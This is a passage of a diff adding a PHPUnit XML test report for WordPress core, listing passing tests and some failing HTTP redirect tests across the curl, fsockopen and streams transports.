+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #243" assertions="1" time="0.002389"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #244" assertions="1" time="0.002367"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #245" assertions="1" time="0.002476"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #246" assertions="1" time="0.002598"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #247" assertions="1" time="0.002047"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #248" assertions="1" time="0.002355"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #249" assertions="1" time="0.002073"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #250" assertions="1" time="0.002280"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Test_WP_ISO_Descrambler" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/isoDescrambler.php" fullPackage="Test.WP.ISO" tests="1" assertions="1" failures="0" errors="0" time="0.002402">
+      <testcase name="test_decodes_iso_8859_1_rfc2047_q_encoding" class="Test_WP_ISO_Descrambler" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/isoDescrambler.php" line="11" assertions="1" time="0.002402"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Redirect" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/redirect.php" fullPackage="Tests.Formatting" tests="1" assertions="6" failures="0" errors="0" time="0.002772">
+      <testcase name="test_wp_sanitize_redirect" class="Tests_Formatting_Redirect" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/redirect.php" line="8" assertions="6" time="0.002772"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_WP_Basename" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/wp_basename.php" fullPackage="Tests.Formatting.WP" tests="4" assertions="4" failures="0" errors="0" time="0.009926">
+      <testcase name="test_wp_basename_unix" class="Tests_Formatting_WP_Basename" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/wp_basename.php" line="8" assertions="1" time="0.002072"/>
+      <testcase name="test_wp_basename_unix_utf8_support" class="Tests_Formatting_WP_Basename" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/wp_basename.php" line="13" assertions="1" time="0.002168"/>
+      <testcase name="test_wp_basename_windows" class="Tests_Formatting_WP_Basename" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/wp_basename.php" line="21" assertions="1" time="0.003024"/>
+      <testcase name="test_wp_basename_windows_utf8_support" class="Tests_Formatting_WP_Basename" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/wp_basename.php" line="29" assertions="1" time="0.002662"/>
+    </testsuite>
+    <testsuite name="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" fullPackage="Tests" tests="12" assertions="227" failures="0" errors="0" time="0.069837">
+      <testcase name="test_wp_parse_args_object" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="7" assertions="2" time="0.002612"/>
+      <testcase name="test_wp_parse_args_array" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="16" assertions="2" time="0.002260"/>
+      <testcase name="test_wp_parse_args_defaults" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="23" assertions="2" time="0.003392"/>
+      <testcase name="test_wp_parse_args_other" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="33" assertions="2" time="0.002501"/>
+      <testcase name="test_size_format" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="41" assertions="9" time="0.002478"/>
+      <testcase name="test_path_is_absolute" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="61" assertions="10" time="0.002005"/>
+      <testcase name="test_path_is_not_absolute" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="81" assertions="10" time="0.001903"/>
+      <testcase name="test_wp_unique_filename" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="101" assertions="12" time="0.005566"/>
+      <testcase name="test_add_query_arg" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="168" assertions="152" time="0.021048"/>
+      <testcase name="test_get_allowed_mime_types" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="254" assertions="6" time="0.003162"/>
+      <testcase name="test_wp_get_mime_types" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="274" assertions="11" time="0.011212"/>
+      <testcase name="test_canonical_charset" class="Tests_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions.php" line="306" assertions="9" time="0.011698"/>
+    </testsuite>
+    <testsuite name="Test_Functions_Deprecated" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/deprecated.php" fullPackage="WordPress.Unit" package="WordPress" subpackage="Unit" tests="2" assertions="2" failures="0" errors="0" time="0.131549">
+      <testcase name="test_wp_save_image_file_deprecated_with_gd_resource" class="Test_Functions_Deprecated" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/deprecated.php" line="140" assertions="1" time="0.053563"/>
+      <testcase name="test_wp_save_image_file_not_deprecated_with_wp_image_editor" class="Test_Functions_Deprecated" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/deprecated.php" line="161" assertions="1" time="0.077986"/>
+    </testsuite>
+    <testsuite name="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" fullPackage="Tests.Functions" tests="14" assertions="33" failures="0" errors="0" time="0.064194">
+      <testcase name="test_filter_object_list_and" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="22" assertions="3" time="0.001776"/>
+      <testcase name="test_filter_object_list_or" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="29" assertions="4" time="0.002055"/>
+      <testcase name="test_filter_object_list_not" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="37" assertions="2" time="0.001706"/>
+      <testcase name="test_filter_object_list_and_field" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="43" assertions="2" time="0.002593"/>
+      <testcase name="test_filter_object_list_or_field" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="49" assertions="2" time="0.002384"/>
+      <testcase name="test_filter_object_list_not_field" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="55" assertions="2" time="0.002019"/>
+      <testcase name="test_wp_list_pluck" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="61" assertions="2" time="0.002355"/>
+      <testcase name="test_filter_object_list_nested_array_and" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="69" assertions="2" time="0.001846"/>
+      <testcase name="test_filter_object_list_nested_array_not" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="75" assertions="3" time="0.033345"/>
+      <testcase name="test_filter_object_list_nested_array_or" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="82" assertions="3" time="0.002981"/>
+      <testcase name="test_filter_object_list_nested_array_or_singular" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="89" assertions="2" time="0.001884"/>
+      <testcase name="test_filter_object_list_nested_array_and_field" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="96" assertions="2" time="0.004389"/>
+      <testcase name="test_filter_object_list_nested_array_not_field" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="102" assertions="2" time="0.003100"/>
+      <testcase name="test_filter_object_list_nested_array_or_field" class="Tests_Functions_ListFilter" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/functions/listFilter.php" line="108" assertions="2" time="0.001761"/>
+    </testsuite>
+    <testsuite name="Tests_General_Archives" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/general/archives.php" fullPackage="Tests.General" tests="1" assertions="37" failures="0" errors="0" time="0.284108">
+      <testcase name="test_get_archives_cache" class="Tests_General_Archives" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/general/archives.php" line="16" assertions="37" time="0.284108"/>
+    </testsuite>
+    <testsuite name="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" fullPackage="Tests.HTTP" tests="17" assertions="30" failures="3" errors="0" time="16.055940">
+      <testcase name="test_redirect_on_301" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="44" assertions="2" time="5.136100"/>
+      <testcase name="test_redirect_on_302" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="51" assertions="2" time="1.232607"/>
+      <testcase name="test_redirect_on_301_no_redirect" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="61" assertions="2" time="0.203582"/>
+      <testcase name="test_redirect_on_302_no_redirect" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="71" assertions="2" time="0.202595"/>
+      <testcase name="test_redirections_equal" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="78" assertions="2" time="1.231270"/>
+      <testcase name="test_no_head_redirections" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="85" assertions="2" time="0.184905"/>
+      <testcase name="test_redirect_on_head" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="95" assertions="2" time="1.243120"/>
+      <testcase name="test_redirections_greater" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="102" assertions="1" time="1.224855"/>
+      <testcase name="test_redirections_greater_edgecase" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="108" assertions="1" time="1.232528"/>
+      <testcase name="test_redirections_less_edgecase" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="114" assertions="1" time="0.932447"/>
+      <testcase name="test_redirections_zero_redirections_specified" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="123" assertions="2" time="0.184472"/>
+      <testcase name="test_location_header_on_201" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="135" assertions="2" time="0.201535"/>
+      <testcase name="test_no_redirection_on_PUT" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="147" assertions="2" time="0.197678"/>
+      <testcase name="test_file_stream" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="182" assertions="4" time="1.041834"/>
+      <testcase name="test_post_redirect_to_method_300" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="200" assertions="1" time="1.237351">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_curl::test_post_redirect_to_method_300
+Failed asserting that two strings are equal.
+--- Expected
++++ Actual
+@@ @@
+-'POST'
++'Redirect 5 of 5 is FINAL.&lt;br/&gt;GET['rt'] = Total times to redirect. Defaults to 5.&lt;br /&gt;GET['r'] = Current redirection. Defaults to 0.&lt;br /&gt;&lt;a href='http://api.wordpress.org/core/tests/1.0/redirection.php?source=true'&gt;View Source&lt;/a&gt;'
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:205
+</failure>
+      </testcase>
+      <testcase name="test_ip_url_with_host_header" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="229" assertions="1" time="0.186961">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_curl::test_ip_url_with_host_header
+Failed asserting that two strings are equal.
+--- Expected
++++ Actual
+@@ @@
+-'PASS'
++'Redirect 0 of 5'
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:241
+</failure>
+      </testcase>
+      <testcase name="test_multiple_location_headers" class="Tests_HTTP_curl" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/curl.php" line="250" assertions="1" time="0.182100">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_curl::test_multiple_location_headers
+Failed asserting that 'http://api.wordpress.org/core/tests/1.0/redirection.php?rt=5&amp;r=1' is of type "array".
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:254
+</failure>
+      </testcase>
+    </testsuite>
+    <testsuite name="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" fullPackage="Tests.HTTP" tests="17" assertions="30" failures="3" errors="0" time="12.557902">
+      <testcase name="test_redirect_on_301" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="44" assertions="2" time="1.204052"/>
+      <testcase name="test_redirect_on_302" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="51" assertions="2" time="1.226850"/>
+      <testcase name="test_redirect_on_301_no_redirect" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="61" assertions="2" time="0.205017"/>
+      <testcase name="test_redirect_on_302_no_redirect" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="71" assertions="2" time="0.204278"/>
+      <testcase name="test_redirections_equal" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="78" assertions="2" time="1.330695"/>
+      <testcase name="test_no_head_redirections" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="85" assertions="2" time="0.202908"/>
+      <testcase name="test_redirect_on_head" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="95" assertions="2" time="1.536480"/>
+      <testcase name="test_redirections_greater" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="102" assertions="1" time="1.144623"/>
+      <testcase name="test_redirections_greater_edgecase" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="108" assertions="1" time="1.617417"/>
+      <testcase name="test_redirections_less_edgecase" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="114" assertions="1" time="1.022712"/>
+      <testcase name="test_redirections_zero_redirections_specified" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="123" assertions="2" time="0.208263"/>
+      <testcase name="test_location_header_on_201" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="135" assertions="2" time="0.203564"/>
+      <testcase name="test_no_redirection_on_PUT" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="147" assertions="2" time="0.209040"/>
+      <testcase name="test_file_stream" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="182" assertions="4" time="0.598369"/>
+      <testcase name="test_post_redirect_to_method_300" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="200" assertions="1" time="1.236530">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_fsockopen::test_post_redirect_to_method_300
+Failed asserting that two strings are equal.
+--- Expected
++++ Actual
+@@ @@
+-'POST'
++'Redirect 5 of 5 is FINAL.&lt;br/&gt;GET['rt'] = Total times to redirect. Defaults to 5.&lt;br /&gt;GET['r'] = Current redirection. Defaults to 0.&lt;br /&gt;&lt;a href='http://api.wordpress.org/core/tests/1.0/redirection.php?source=true'&gt;View Source&lt;/a&gt;'
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:205
+</failure>
+      </testcase>
+      <testcase name="test_ip_url_with_host_header" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="229" assertions="1" time="0.207160">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_fsockopen::test_ip_url_with_host_header
+Failed asserting that two strings are equal.
+--- Expected
++++ Actual
+@@ @@
+-'PASS'
++'Redirect 0 of 5'
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:241
+</failure>
+      </testcase>
+      <testcase name="test_multiple_location_headers" class="Tests_HTTP_fsockopen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/fsockopen.php" line="250" assertions="1" time="0.199944">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_fsockopen::test_multiple_location_headers
+Failed asserting that 'http://api.wordpress.org/core/tests/1.0/redirection.php?rt=5&amp;r=1' is of type "array".
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:254
+</failure>
+      </testcase>
+    </testsuite>
+    <testsuite name="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" fullPackage="Tests.HTTP" tests="6" assertions="20" failures="0" errors="0" time="1.389332">
+      <testcase name="test_head_request" class="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" line="8" assertions="4" time="0.155926"/>
+      <testcase name="test_head_redirect" class="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" line="20" assertions="1" time="0.505455"/>
+      <testcase name="test_head_404" class="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" line="27" assertions="2" time="0.156249"/>
+      <testcase name="test_get_request" class="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" line="35" assertions="6" time="0.260544"/>
+      <testcase name="test_get_redirect" class="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" line="52" assertions="6" time="0.308312"/>
+      <testcase name="test_get_redirect_limit_exceeded" class="Tests_HTTP_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/functions.php" line="70" assertions="1" time="0.002846"/>
+    </testsuite>
+    <testsuite name="Tests_HTTP_HTTP" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/http.php" fullPackage="Tests.HTTP" tests="22" assertions="22" failures="0" errors="0" time="0.051729">
+      <testsuite name="Tests_HTTP_HTTP::test_make_absolute_url" tests="22" assertions="22" failures="0" errors="0" time="0.051729">
+        <testcase name="test_make_absolute_url with data set #0" assertions="1" time="0.002766"/>
+        <testcase name="test_make_absolute_url with data set #1" assertions="1" time="0.002801"/>
+        <testcase name="test_make_absolute_url with data set #2" assertions="1" time="0.002222"/>
+        <testcase name="test_make_absolute_url with data set #3" assertions="1" time="0.002526"/>
+        <testcase name="test_make_absolute_url with data set #4" assertions="1" time="0.002262"/>
+        <testcase name="test_make_absolute_url with data set #5" assertions="1" time="0.002631"/>
+        <testcase name="test_make_absolute_url with data set #6" assertions="1" time="0.002542"/>
+        <testcase name="test_make_absolute_url with data set #7" assertions="1" time="0.002466"/>
+        <testcase name="test_make_absolute_url with data set #8" assertions="1" time="0.002405"/>
+        <testcase name="test_make_absolute_url with data set #9" assertions="1" time="0.002276"/>
+        <testcase name="test_make_absolute_url with data set #10" assertions="1" time="0.002084"/>
+        <testcase name="test_make_absolute_url with data set #11" assertions="1" time="0.001990"/>
+        <testcase name="test_make_absolute_url with data set #12" assertions="1" time="0.002188"/>
+        <testcase name="test_make_absolute_url with data set #13" assertions="1" time="0.001983"/>
+        <testcase name="test_make_absolute_url with data set #14" assertions="1" time="0.001970"/>
+        <testcase name="test_make_absolute_url with data set #15" assertions="1" time="0.002260"/>
+        <testcase name="test_make_absolute_url with data set #16" assertions="1" time="0.002457"/>
+        <testcase name="test_make_absolute_url with data set #17" assertions="1" time="0.002349"/>
+        <testcase name="test_make_absolute_url with data set #18" assertions="1" time="0.002524"/>
+        <testcase name="test_make_absolute_url with data set #19" assertions="1" time="0.002410"/>
+        <testcase name="test_make_absolute_url with data set #20" assertions="1" time="0.002007"/>
+        <testcase name="test_make_absolute_url with data set #21" assertions="1" time="0.002611"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" fullPackage="Tests.HTTP" tests="17" assertions="30" failures="3" errors="0" time="19.730962">
+      <testcase name="test_redirect_on_301" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="44" assertions="2" time="1.662233"/>
+      <testcase name="test_redirect_on_302" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="51" assertions="2" time="2.407899"/>
+      <testcase name="test_redirect_on_301_no_redirect" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="61" assertions="2" time="0.312450"/>
+      <testcase name="test_redirect_on_302_no_redirect" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="71" assertions="2" time="0.305891"/>
+      <testcase name="test_redirections_equal" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="78" assertions="2" time="1.830903"/>
+      <testcase name="test_no_head_redirections" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="85" assertions="2" time="0.313697"/>
+      <testcase name="test_redirect_on_head" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="95" assertions="2" time="1.829596"/>
+      <testcase name="test_redirections_greater" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="102" assertions="1" time="1.692486"/>
+      <testcase name="test_redirections_greater_edgecase" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="108" assertions="1" time="1.806429"/>
+      <testcase name="test_redirections_less_edgecase" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="114" assertions="1" time="1.540039"/>
+      <testcase name="test_redirections_zero_redirections_specified" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="123" assertions="2" time="0.300191"/>
+      <testcase name="test_location_header_on_201" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="135" assertions="2" time="0.304726"/>
+      <testcase name="test_no_redirection_on_PUT" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="147" assertions="2" time="0.309121"/>
+      <testcase name="test_file_stream" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="182" assertions="4" time="2.871856"/>
+      <testcase name="test_post_redirect_to_method_300" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="200" assertions="1" time="1.634466">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_streams::test_post_redirect_to_method_300
+Failed asserting that two strings are equal.
+--- Expected
++++ Actual
+@@ @@
+-'POST'
++'Redirect 5 of 5 is FINAL.&lt;br/&gt;GET['rt'] = Total times to redirect. Defaults to 5.&lt;br /&gt;GET['r'] = Current redirection. Defaults to 0.&lt;br /&gt;&lt;a href='http://api.wordpress.org/core/tests/1.0/redirection.php?source=true'&gt;View Source&lt;/a&gt;'
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:205
+</failure>
+      </testcase>
+      <testcase name="test_ip_url_with_host_header" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="229" assertions="1" time="0.293829">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_streams::test_ip_url_with_host_header
+Failed asserting that two strings are equal.
+--- Expected
++++ Actual
+@@ @@
+-'PASS'
++'Redirect 0 of 5'
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:241
+</failure>
+      </testcase>
+      <testcase name="test_multiple_location_headers" class="Tests_HTTP_streams" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/streams.php" line="250" assertions="1" time="0.315150">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_HTTP_streams::test_multiple_location_headers
+Failed asserting that 'http://api.wordpress.org/core/tests/1.0/redirection.php?rt=5&amp;r=1' is of type "array".
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:254
+</failure>
+      </testcase>
+    </testsuite>
+    <testsuite name="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" fullPackage="Tests.Image" tests="10" assertions="20" failures="0" errors="0" time="0.035526">
+      <testcase name="test_400x400_no_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="9" assertions="2" time="0.004347"/>
+      <testcase name="test_400x0_no_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="21" assertions="2" time="0.003966"/>
+      <testcase name="test_0x400_no_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="33" assertions="2" time="0.003479"/>
+      <testcase name="test_800x800_no_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="45" assertions="2" time="0.002634"/>
+      <testcase name="test_800x0_no_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="57" assertions="2" time="0.002331"/>
+      <testcase name="test_0x800_no_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="69" assertions="2" time="0.002573"/>
+      <testcase name="test_400x400_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="83" assertions="2" time="0.003775"/>
+      <testcase name="test_400x0_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="95" assertions="2" time="0.003167"/>
+      <testcase name="test_0x400_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="107" assertions="2" time="0.003878"/>
+      <testcase name="test_400x500_crop" class="Tests_Image_Dimensions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/dimensions.php" line="119" assertions="2" time="0.005376"/>
+    </testsuite>
+    <testsuite name="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" fullPackage="Tests.Image" tests="13" assertions="70" failures="0" errors="0" time="2.070834">
+      <testcase name="test_is_image_positive" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="39" assertions="11" time="0.001796"/>
+      <testcase name="test_is_image_negative" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="60" assertions="3" time="0.000764"/>
+      <testcase name="test_is_displayable_image_positive" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="73" assertions="3" time="0.000900"/>
